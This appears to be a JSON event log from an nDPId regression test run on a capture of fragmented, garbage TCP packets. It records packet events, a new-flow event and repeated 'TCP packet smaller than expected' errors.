-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563822} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563834} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563847} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563859} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563873} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563887} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563901} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563914} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563928} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563941} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563954} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":5303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563973} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563985} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564000} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564013} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564026} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564038} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564051} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564068} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564082} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564096} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564109} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564122} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564134} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564148} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564161} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564174} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029564201} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244029564214} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":5321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdGREVXI0Ak"} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244029864332,"flow_src_last_pkt_time":1534244029864332,"flow_dst_last_pkt_time":1534244029864332,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244029864332,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9566,"dst_port":18498,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_src_last_pkt_time":1534244029864332,"flow_dst_last_pkt_time":1534244029864332,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiVeSEJHVgo0MjE0NjMxOThZagAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864365} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864377} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864389} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864403} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":5326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864429} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864463} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864475} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864485} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864525} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864538} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864551} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864564} 